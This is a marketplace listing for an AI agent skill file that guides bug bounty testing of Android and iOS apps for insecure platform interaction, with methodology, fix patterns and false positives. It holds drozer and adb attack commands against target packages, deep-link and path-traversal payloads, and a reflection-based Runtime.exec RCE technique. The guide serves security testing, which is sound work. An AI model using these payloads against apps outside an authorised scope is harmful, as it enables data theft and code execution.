agentsclimarketplace

Mobile platform interaction

Skill ShulkwiSEC/bb-huge/skills/curated/mobile-platform-interaction

bb-huge πŸ€— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill mobile-platform-interaction

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Detects insecure platform interaction in mobile apps (Android/iOS). Trigger on: exported Activity, exported Service, exported BroadcastReceiver, Content Provider, Intent injection, deep link hijacking, WebView JavaScript enabled, JavascriptInterface, addJavascriptInterface, setJavaScriptEnabled, intent:// scheme, file:// scheme, WKWebView, WKScriptMessageHandler, UIPasteboard, URL scheme hijacking, Universal Links, PendingIntent, FLAG_IMMUTABLE, overlay attack, tapjacking, screenshot prevention, FLAG_SECURE, Broadcast sniffing, IPC data exposure. Covers MASVS-PLATFORM-1/2/3.

The file declares its own license as MIT. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

8.6 KB, ~1.7k tokens by cl100k_base, as published. Nobody here has run it

Mobile Platform Interaction

What Is Broken and Why

Mobile platforms expose rich IPC mechanisms (Intents, Content Providers, URL schemes, XPC, Pasteboard) that apps use to communicate. Without proper access control, exported components become attack vectors: a malicious app can send crafted Intents to trigger sensitive operations, read Content Provider data without permission, or hijack deep links by registering the same scheme. WebViews with JavaScript enabled and addJavascriptInterface create XSS-to-RCE bridges. Deep link URL parameters injected into WebView navigation or SQL queries without sanitization enable injection attacks within the app.

Key Signals

  • android:exported="true" on Activity, Service, or BroadcastReceiver without android:permission
  • ContentProvider with android:exported="true" and no read/write permission constraints
  • setJavaScriptEnabled(true) in a WebView that loads remote/user-supplied URLs
  • addJavascriptInterface(obj, "name") exposing Java objects to WebView JS
  • onReceivedSslError().proceed() (also a network issue, creates XSS delivery path)
  • Deep link Intent filter <data android:scheme="app"> without caller validation
  • iOS: custom URL scheme registered without origin verification
  • PendingIntent created with implicit Intent and no FLAG_IMMUTABLE
  • iOS: UIPasteboard.generalPasteboard writes containing credentials
  • WebView setAllowFileAccess(true) or setAllowFileAccessFromFileURLs(true)
  • filterTouchesWhenObscured absent on security-sensitive touch targets

Methodology

Android:

  1. apktool d app.apk β€” list all exported components in AndroidManifest.xml
  2. drozer: run app.package.attacksurface TARGET_PKG β€” shows all exposed components
  3. Test exported Activity: adb shell am start -n TARGET_PKG/.SensitiveActivity
  4. Test exported BroadcastReceiver: adb shell am broadcast -a com.target.ACTION
  5. Test ContentProvider: adb shell content query --uri content://TARGET_PKG.provider/users
  6. Review deep link handling: trace Intent.getData() usage without input validation
  7. WebView audit: search decompiled code for setJavaScriptEnabled, addJavascriptInterface
  8. PendingIntent audit: check all PendingIntent.getActivity/getBroadcast calls for FLAG_IMMUTABLE

iOS:

  1. Examine Info.plist for CFBundleURLTypes (custom schemes) and com.apple.developer.associated-domains
  2. Trace application(_:open:options:) and scene(_:openURLContexts:) for URL parameter handling
  3. Check Universal Link validation β€” does AASA file restrict app association correctly?
  4. WKWebView audit: search for WKScriptMessageHandler implementations exposing native functionality
  5. Pasteboard: search for UIPasteboard.general.string = with sensitive data
  6. Background screenshot: trigger app to background, inspect Recents screen for sensitive data visibility

Payloads & Tools

# drozer β€” Android attack surface
drozer console connect
run app.package.attacksurface TARGET_PKG
run app.activity.start --component TARGET_PKG TARGET_PKG.ui.AdminActivity
run app.provider.query content://TARGET_PKG.UserProvider/users
run app.broadcast.send --action TARGET_PKG.TRIGGER_ACTION --extra string key value

# adb β€” deep link injection
adb shell am start -W -a android.intent.action.VIEW \
  -d "app://login?next=javascript:alert(1)" TARGET_PKG

# adb β€” access exported content provider
adb shell content query --uri content://TARGET_PKG.provider/internal_notes

# iOS β€” custom scheme invocation from attacker app
open "victim-app://action?param=../../../etc/passwd"

# Frida β€” hook WebView JS interface
Java.perform(function() {
  var WebView = Java.use("android.webkit.WebView");
  WebView.addJavascriptInterface.implementation = function(obj, name) {
    console.log("[+] addJavascriptInterface:", name, obj.$className);
    this.addJavascriptInterface(obj, name);
  };
});

Bypass Techniques

  • Intent redirection β€” exploit exported Activity that accepts and re-fires a user-supplied Intent, enabling access to unexported components
  • Deep link scheme squatting β€” register same URL scheme in a malicious app (Android); when user taps a link, system prompts to choose β†’ hijack possible
  • JavaScript interface reflection β€” addJavascriptInterface exposes the full Java reflection API on Android < 4.2; use getClass().forName("Runtime").exec()
  • Content Provider path traversal β€” append ../../ to content URI path to escape intended directory
  • PendingIntent hijacking β€” intercept implicit PendingIntent from notification, replace extras to trigger unintended action

Exploitation Scenarios

Scenario 1 β€” Exported Activity Data Theft Setup: SettingsActivity is exported with no permission; it reads and displays account details from Intent extras. β†’ Trigger: adb shell am start -n TARGET/.SettingsActivity with crafted extras. β†’ Impact: Sensitive account data displayed to attacker without authentication.

Scenario 2 β€” WebView JavascriptInterface RCE (Android < 4.2) Setup: WebView loads user-supplied URL with addJavascriptInterface(helper, "Android") binding. β†’ Trigger: Attacker-controlled page calls window.Android.getClass().forName("java.lang.Runtime").exec(["id"]). β†’ Impact: Remote code execution in app process via reflected Java method invocation.

Scenario 3 β€” iOS URL Scheme Hijacking Setup: App registers myapp:// scheme for deep link login; no verification of calling app. β†’ Trigger: Malicious app opens myapp://auth?token=STOLEN_TOKEN. β†’ Impact: Attacker-controlled token processed as legitimate, session hijacked.

False Positives

  • Exported Activity with android:permission="android.permission.INTERNET" β€” any app can hold this; not protective
  • Content Provider with grantUriPermissions but explicit permission grants only β€” verify the grant mechanism is controlled
  • JavaScript enabled WebView loading only same-origin/local content (resource files from app bundle)
  • Custom URL scheme validates calling app via sourceApplication β€” confirm validation is cryptographically sound

Fix Patterns

<!-- Android β€” protect exported component with custom permission -->
<activity android:name=".AdminActivity"
          android:exported="false" />  <!-- prefer unexported -->

<!-- If export required: -->
<activity android:name=".ShareActivity"
          android:exported="true"
          android:permission="com.target.SHARE_PERMISSION" />
// Android β€” PendingIntent with FLAG_IMMUTABLE
val pi = PendingIntent.getActivity(ctx, 0, Intent(ctx, MainActivity::class.java),
    PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT)

// Android β€” WebView: disable JS if not needed; never expose JS interface to untrusted content
webView.settings.javaScriptEnabled = false
// If JS required, load only trusted local assets:
webView.loadUrl("file:///android_asset/index.html")
// iOS β€” validate URL scheme source
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey: Any]) -> Bool {
    guard let source = options[.sourceApplication] as? String,
          allowedApps.contains(source) else { return false }
    // process url
}

Related Skills

Deep link parameters injected into WebView navigation parallel [[dom-xss]] β€” URL scheme parameters that reach loadUrl() without validation are the mobile equivalent of a JavaScript-executing DOM sink. Exported Content Providers with path traversal are a mobile-specific form of [[path-traversal]] β€” the same ../ sequences apply to content URI paths. [[mobile-code-quality]] covers WebView addJavascriptInterface vulnerabilities and SQL injection via IPC, which are code-level defects often triggered by platform interaction vectors.

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.